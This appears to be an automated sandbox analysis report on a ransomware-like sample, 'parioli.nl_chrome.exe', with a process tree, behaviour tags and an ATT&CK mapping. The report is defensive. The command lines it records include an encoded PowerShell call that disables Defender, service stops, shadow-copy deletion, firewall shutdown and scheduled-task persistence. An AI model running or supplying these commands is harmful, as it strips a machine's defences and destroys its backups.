PID 2396 wrote to memory of 1240	2396	parioli.nl_chrome.exe	139
PID 2396 wrote to memory of 2296	2396	parioli.nl_chrome.exe	141
PID 2396 wrote to memory of 2500	2396	parioli.nl_chrome.exe	142
PID 2396 wrote to memory of 4672	2396	parioli.nl_chrome.exe	143
PID 2396 wrote to memory of 884	2396	parioli.nl_chrome.exe	144
PID 2396 wrote to memory of 3320	2396	parioli.nl_chrome.exe	145
PID 2396 wrote to memory of 5936	2396	parioli.nl_chrome.exe	146
PID 2396 wrote to memory of 4124	2396	parioli.nl_chrome.exe	151
PID 2396 wrote to memory of 4564	2396	parioli.nl_chrome.exe	154
PID 1240 wrote to memory of 5328	1240	cmd.exe	156
PID 2500 wrote to memory of 3844	2500	cmd.exe	157
PID 3320 wrote to memory of 1372	3320	cmd.exe	199
PID 4672 wrote to memory of 2964	4672	cmd.exe	159
PID 2296 wrote to memory of 5476	2296	cmd.exe	160
PID 884 wrote to memory of 3048	884	cmd.exe	161
PID 5936 wrote to memory of 5596	5936	cmd.exe	162
PID 3048 wrote to memory of 2980	3048	net.exe	188
PID 2396 wrote to memory of 1988	2396	parioli.nl_chrome.exe	164
PID 1240 wrote to memory of 3756	1240	cmd.exe	165
PID 2396 wrote to memory of 4812	2396	parioli.nl_chrome.exe	166
PID 2396 wrote to memory of 2528	2396	parioli.nl_chrome.exe	167
PID 2396 wrote to memory of 5096	2396	parioli.nl_chrome.exe	168
PID 2396 wrote to memory of 1144	2396	parioli.nl_chrome.exe	169
PID 2396 wrote to memory of 5712	2396	parioli.nl_chrome.exe	171
PID 2396 wrote to memory of 4100	2396	parioli.nl_chrome.exe	172
PID 5096 wrote to memory of 2560	5096	net.exe	178
PID 4264 wrote to memory of 5972	4264	chrome.exe	179
PID 4264 wrote to memory of 1472	4264	chrome.exe	181
PID 4264 wrote to memory of 5056	4264	chrome.exe	180
PID 4264 wrote to memory of 1472	4264	chrome.exe	181
PID 4264 wrote to memory of 5056	4264	chrome.exe	180
PID 4264 wrote to memory of 5636	4264	chrome.exe	183
PID 4264 wrote to memory of 5636	4264	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://parioli.nl
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffe61d0c728,0x7ffe61d0c734,0x7ffe61d0c740
    3⤵
    PID:4152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,10960750191765123292,11294579184246871566,262144 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:4232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3359958866068609949,5563251128433704949,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:11
    3⤵
    - System Time Discovery
    PID:732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2284,i,4368895042990639385,2436008429387723576,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:13
    3⤵
    PID:5164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,16802199373700037572,4392041998997945498,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:2544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,9445464389120386344,14810894651539829814,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:1
    3⤵
    PID:4804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=5212,i,2618745491591780878,1905701739388752877,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:1
    3⤵
    PID:5928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,18238229981524955025,17976114829525123829,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:5972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5688,i,12607341058727650510,913079345674323881,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:5056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5744,i,7437331674784233620,12750717009620036249,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:1
    3⤵
    PID:1472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6064,i,658934612313028002,2935775789718092799,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:5636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=6040,i,9815982499544656671,16662388598308692859,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:3400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5924,i,12200187303214957784,318647693400124625,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:1
    3⤵
    PID:1372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6076,i,2675372922033940900,1665647231691092710,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:1
    3⤵
    PID:3212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5480,i,17402490206791742010,11960357968345575439,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
    3⤵
    PID:2980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6072,i,2940030218397480489,18143837081013171955,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:1
    3⤵
    PID:4496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,3572365304304443285,1903803313238450096,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:14
    3⤵
    PID:3564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6056,i,17024261902301617360,5492768728535083503,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,8104895553661623118,15843503303277490128,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
    3⤵
    PID:6092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6084,i,15901278914006741767,11397915557550191035,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
    3⤵
    PID:3860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6052,i,17013003047642347936,734601265936901929,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:9
    3⤵
    PID:1244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5640,i,8984494994556229467,17456686963809907317,2097152 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:1
    3⤵
    PID:4260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6140,i,16898084631188146782,6899163319334070182,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
    3⤵
    PID:4480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5696,i,16349273529437024424,13917739027482446871,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
    3⤵
    PID:6136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5992,i,2222320883684218805,13675418982748588233,524288 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
    3⤵
    PID:1372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5116,i,2107992548850513461,2385928878943853499,262144 --field-trial-handle=1908,i,7664205905406999382,2338079327560868687,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:10
    3⤵
    PID:1376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3476
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1144
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe"
    3⤵
    PID:884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5864
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4788
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3756
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:360
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1408
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5476
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2964
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:884
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2980
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1372
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5596
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4124
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4564
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1988
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4812
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2528
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2560
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4100

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3472

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4220

C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
1⤵
PID:4004

C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
C:\Users\Admin\AppData\Local\Temp\parioli.nl_chrome.exe
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:6132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery